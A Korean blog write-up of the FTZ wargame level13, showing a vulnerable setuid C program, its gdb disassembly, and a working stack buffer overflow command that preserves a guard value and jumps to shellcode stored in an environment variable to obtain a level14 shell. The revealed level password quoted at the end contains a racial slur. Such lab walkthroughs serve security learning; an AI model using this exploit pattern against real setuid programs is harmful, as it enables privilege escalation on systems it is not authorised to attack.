티스토리 뷰

System/FTZ

[FTZ] level13

MitNy 2017. 9. 21. 17:39


level13도 bof 문제인 것 같다.


힌트는 다음과 같다.


#include <stdlib.h>


main(int argc, char *argv[])

{

   long i=0x1234567;

   char buf[1024];


   setreuid( 3094, 3094 );

   if(argc > 1)

   strcpy(buf,argv[1]);


   if(i != 0x1234567) {

   printf(" Warnning: Buffer Overflow !!! \n");

   kill(0,11);

   }

}



i = 19088743

buffer는 1024

인자가 1개보다 많으면 strcpy를 통해 buf에 인자로 받은 값을 복사한다.


복사한 후, i가 0x1234567이 아니면 Warnning을 출력하고, 프로그램을 종료시킨다.


gdb로도 한번 보자.


(gdb) disas main

Dump of assembler code for function main:

0x080484a0 <main+0>: push   ebp

0x080484a1 <main+1>: mov    ebp,esp

0x080484a3 <main+3>: sub    esp,0x418

0x080484a9 <main+9>: mov    DWORD PTR [ebp-12],0x1234567

0x080484b0 <main+16>: sub    esp,0x8

0x080484b3 <main+19>: push   0xc16

0x080484b8 <main+24>: push   0xc16

0x080484bd <main+29>: call   0x8048370 <setreuid>

0x080484c2 <main+34>: add    esp,0x10

0x080484c5 <main+37>: cmp    DWORD PTR [ebp+8],0x1

0x080484c9 <main+41>: jle    0x80484e5 <main+69>

0x080484cb <main+43>: sub    esp,0x8

0x080484ce <main+46>: mov    eax,DWORD PTR [ebp+12]

0x080484d1 <main+49>: add    eax,0x4

0x080484d4 <main+52>: push   DWORD PTR [eax]

0x080484d6 <main+54>: lea    eax,[ebp-1048]

0x080484dc <main+60>: push   eax

0x080484dd <main+61>: call   0x8048390 <strcpy>

0x080484e2 <main+66>: add    esp,0x10

0x080484e5 <main+69>: cmp    DWORD PTR [ebp-12],0x1234567

0x080484ec <main+76>: je     0x804850d <main+109>

0x080484ee <main+78>: sub    esp,0xc

0x080484f1 <main+81>: push   0x80485a0

0x080484f6 <main+86>: call   0x8048360 <printf>

0x080484fb <main+91>: add    esp,0x10

0x080484fe <main+94>: sub    esp,0x8

0x08048501 <main+97>: push   0xb

0x08048503 <main+99>: push   0x0

0x08048505 <main+101>: call   0x8048380 <kill>

0x0804850a <main+106>: add    esp,0x10

0x0804850d <main+109>: leave

0x0804850e <main+110>: ret

0x0804850f <main+111>: nop

End of assembler dump.



dummy가 8인 것 같다.

11,12번에서 사용했던 SHELLCODE 환경변수와 getit 코드로 환경변수의 주소를 알아냈다.

0xbffffc1e







이런식으로 Segmentation fault가 뜨는지 안뜨는지 검사하여 buffer와 dummy 의 크기를 계산한다.

결과적으로 



이렇게 생겼다.



./attackme `python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"\x1e\xfc\xff\xbf"'`


처음엔 이렇게 입력했는데 쉘이 따져도 계속 id가 level13 이길래 뭐지 하고 계속 삽질을 했다.

이유는 tmp 디렉토리에서 했기 때문..ㅎㅎㅎ




그래서 ../attackme `python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"\x1e\xfc\xff\xbf"'`

을 입력해 level14의 쉘을 따내고 my-pass로 패스워드를 알아냈다.




Level14 Password is "what that nigga want?".



'System > FTZ' 카테고리의 다른 글

[FTZ] level15  (0) 2017.09.27
[FTZ] level14  (0) 2017.09.25
[FTZ] level12  (0) 2017.09.20
[FTZ] level11  (0) 2017.09.18
[FTZ] level10  (0) 2017.09.14
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
글 보관함